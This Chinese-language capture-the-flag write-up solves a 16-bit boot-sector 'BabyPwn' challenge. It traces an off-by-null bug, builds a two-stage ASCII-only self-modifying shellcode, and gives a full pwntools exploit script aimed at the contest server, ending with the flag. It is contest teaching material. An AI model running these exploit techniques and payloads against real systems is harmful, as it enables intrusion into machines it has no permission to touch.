广东省第四届“强网杯”网络安全大赛 BabyPwn 题解
题目信息
PWN引导程序 nc 121.37.143.62 49154
漏洞分析
给了一个 qemu 虚拟机。启动脚本 launch.sh 如下。
timeout -s SIGKILL 120s ./qemu-system-i386 -hda ./disk -fdb ./flag -snapshot -nographic -monitor /dev/null
120秒超时,自动杀死进程。
hda 挂载了一个 disk 磁盘文件。
fdb 挂载了一个 flag 软盘文件。
将 disk 拖进去 IDA 32位 里面进行分析,使用 16位 解码查看。

查看文件开头部分,即磁盘的主引导扇区。
其中的代码调用了BIOS中断,详见BIOS中断向量表。
首先置 ah 为 0,调用 0x13号 中断,复位磁盘驱动器。
seg000:0012 mov bp, sp
seg000:0014 mov ah, 0 ; ah=0 复位磁盘驱动器
seg000:0016 int 13h
然后置 ah 为 2,调用 0x13号 中断,读取磁盘扇区写入至内存的 0x1000 区域。
seg000:0002 push 1000h
seg000:0005 push 80h
seg000:0008 push 2
seg000:000A call sub_11
seg000:0018 mov cx, [bp+arg_0] ; cl=2 起始扇区号2
seg000:001B mov ch, 0 ; ch=0 磁道号0
seg000:001D mov dx, 0
seg000:0020 mov ah, 2 ; ah=2 读扇区
seg000:0022 mov al, 3 ; al=3 读取3个扇区
seg000:0024 mov dx, [bp+arg_2] ; dl=80h 磁盘A(hda)
seg000:0027 mov dh, 0 ; dh=0 磁盘0面
seg000:0029 mov bx, [bp+arg_4] ; bx=1000h 写入至内存的es:bx区域
seg000:002C int 13h
即将 disk 文件的 200h:600h 区域写入至内存的 1000h:1400h 区域。
然后看 0x200 处的代码。这里对寄存器进行了初始化,然后调用了函数 0x563。

继续看一下函数 0x563。

这里我将函数 0x4C8 命名为 write,该函数通过调用 0x10号 中断,实现了打印字符串的功能,打印直至遇到 \x00 结束。
此处还调用了函数 0x526。

这里我将函数 0x4F5 命名为 read,重点看一下该函数。

函数 0x4F5 调用了 0x16号 中断,连续读取用户键盘输入字符,读取直至满足以下任一条件结束。
读取超过指定长度
遇到 \x00
遇到 \x0A
遇到 \x0D
最终实现了读取用户输入内容(最大输入长度为 0x100)保存至栈上的功能。
但是该函数存在 off-by-null 漏洞点,位于 051E 处。
那么我们可以通过写入长度为 0x100 的内容,触发该漏洞,即可在 0x561 处将 bp 修改为 0xEF00,刚好落在栈上用户输入的第9个字节处。接下来在 0x57B 处控制 sp 至 0xEF00,那么在 0x57E 处就能控制执行流了。
以为这道题就是一个比较常见的 Pwn考点。构造好了 payload,却发现打不通。只能上 GDB 动态调试了。
果然找到问题了。
read 函数里的 0x16号 中断,读取键盘输入字符,只支持 ascii。实测发现,遇到非 ascii 字符 BIOS 内部会直接忽略。
众所周知,pwntools 自带 ascii 编码器,可是看了最新源码后发现它目前并不支持 16位。
那么看来只能手动构造 payload 了,除非您手头上有一个支持 16位 的 ascii 编码器。
控制执行流
但这里还有一个问题,由于只支持 ascii 输入,而我们的输入内容会放在栈上 0xEEF8 处,0xEE 不在 ascii 里,无法直接控制执行流至我们写在栈上的 payload。
这里又是一个传统的 Pwn考点,我们需要控制执行流回到现有代码上,将二次 payload 布置在“地址为 ascci ”的区域里,然后控制执行流至二次 payload 上。
那么我们可以控制执行流至 0x540 处,然后随便挑一个没有被使用的“地址为 ascci ”的区域,例如 0x1620。将二次 payload 布置在上面。随后在 0x562 处再次控制执行流至二次 payload 处。
一次 payload 构造如下:
# 0xEEF8
payload = "a" * 8 # offset
payload += p16(0x1620) # seg000:057D pop bp (一次bp地址,二次sp地址)
payload += p16(0x1340) # seg000:057E retn (一次控制执行流地址)
payload += p16(0x1620) # seg000:04FC mov di, [bp+arg_0] (二次payload写位置)
payload += p16(0x1620) # seg000:04F9 mov si, [bp+arg_2] (二次payload最大长度,指定一个较大值即可)
payload = payload.ljust(256, "a") # 补全0x100字节,触发off-by-null漏洞
io.send(payload)
构造二次载荷
此时我们已经顺利将 sp 控制至 0x1620 处,现在需要进行刚刚提到的,在 0x562 处再次控制执行流至二次 payload 处。
二次 payload 的开头部分构造如下:
# 0x1620
payload = p16(0x3030) # seg000:0561 pop bp (二次bp地址,随意)
payload += p16(0x1640) # seg000:0562 retn (二次控制执行流地址)
当二次控制执行流至 0x1640 处,此时 sp=0x1624 bp=0x3030。
进行到这里,我们需要构造 payload,来实现读取软盘 flag 文件并打印出来。
0000 mov bl, 0x00 ; \xb3\x00
0002 mov bh, 0x10 ; \xb7\x10 bx=1000h 写入至内存的es:bx区域
0004 mov al, 1 ; \xb0\x01 al=1 读取1个扇区
0006 mov ch, 0 ; \xb5\x00 ch=0 磁道号0
0008 mov cl, 1 ; \xb1\x01 cl=1 起始扇区号1
000A mov dl, 1 ; \xb2\x01 dl=1 软盘B(fdb)
000C mov dh, 0 ; \xb6\x00 dh=0 软盘0面
000E mov ah, 2 ; \xb4\x02 ah=2 读扇区
0010 int 0x13 ; \xcd\x13
0012 mov al, 0x75 ; \xb0\x75
0014 mov ah, 0x13 ; \xb4\x13
0016 push 0x1000 ; \x68\x00\x10
0019 jmp ax ; \xff\xe0 ax=0x1375 跳到0x1375处,打印0x1000处的内容
但是上面的 payload 中含有非 ascii 字符,我们需要构造一个只含 ascii 字符的 payload。
接下来,手上挑起两把武器。
慢慢耐心构造出我们需要的 ascii payload。
ip=0x1640 sp=0x1624 bp=0x3030
1624 \x03\x01
1626 \x03\x01
1628 \x01\x10
162A \x5d\x16
162C \x75\x16
162E \x75\x13
1630 \x01\x10
1640 pop ax ; \x58
1641 xor ax, 0x0102 ; \x35\x02\x01
1644 push ax ; \x50
1645 pop dx ; \x5a
1646 pop ax ; \x58
1647 xor ax, 0x0102 ; \x35\x02\x01
164A push ax ; \x50
164B pop cx ; \x59
164C pop bx ; \x5b
164D dec bx ; \x4b
164E pop sp ; \x5c
164F pop ax ; \x58
1650 inc ax ; \x40
1651 xor ax, 0x074d ; \x35\x4d\x07
1654 push ax ; \x50
1655 inc sp ; \x44
1656 inc sp ; \x44
1657 pop ax ; \x58
1658 xor ax, 0x142d ; \x35\x2d\x14
165B dec sp ; \x4c
165C dec sp ; \x4c
165D int 0x13 ; \x7f\x14 => \xcd\x13 (自修改代码)
165F sub al, 0x16 ; \x2c\x16
1661 pop sp ; \x5c
1662 pop sp ; \x5c
1663 pop ax ; \x58
1664 dec ax ; \x48
1665 dec ax ; \x48
1666 push ax ; \x50
1667 inc sp ; \x44
1668 pop ax ; \x58
1669 dec ax ; \x48
166A dec ax ; \x48
166B xor ax, 0x2f1f ; \x35\x1f\x2f
166E push ax ; \x50
166F inc sp ; \x44
1670 pop sp ; \x5c
1671 pop ax ; \x58
1672 pop bx ; \x5b
1673 dec bx ; \x4b
1674 push bx ; \x53
1675 jmp ax ; \x01\x02\x02\x16 => \xff\xe0\x2e\x16 (自修改代码)
解题脚本
from pwn import *
import time
#io = remote('127.0.0.1', 49154)
io = remote('121.37.143.62', 49154)
time.sleep(1)
payload = "aaaaaaaa \x16@\x13 \x16 \x16"
payload = payload.ljust(256, "a")
io.send(payload)
payload = "00@\x16\x03\x01\x03\x01\x01\x10]\x16u\x16u\x13\x01\x10aaaaaaaaaaaaaaX5\x02\x01PZX5\x02\x01PY[K\\X@5M\x07PDDX5-\x14LL\x7f\x14,\x16\\\\XHHPDXHH5\x1f/PD\\X[KS\x01\x02\x02\x16"
io.sendline(payload)
io.interactive()
io.close()
Get Flag

flag{15a17fa8e61b867153814e56e9aa9fd0}
结语
分值300的题目,做出了分值500的难度。
题目并不难,思路比较清晰,难点在于需要耐心构造攻击载荷。
就像这几道Pwn题。
太久没做Pwn题了,堆也差不多忘记了,更不用说 libc 2.31 了(拉闸
Comments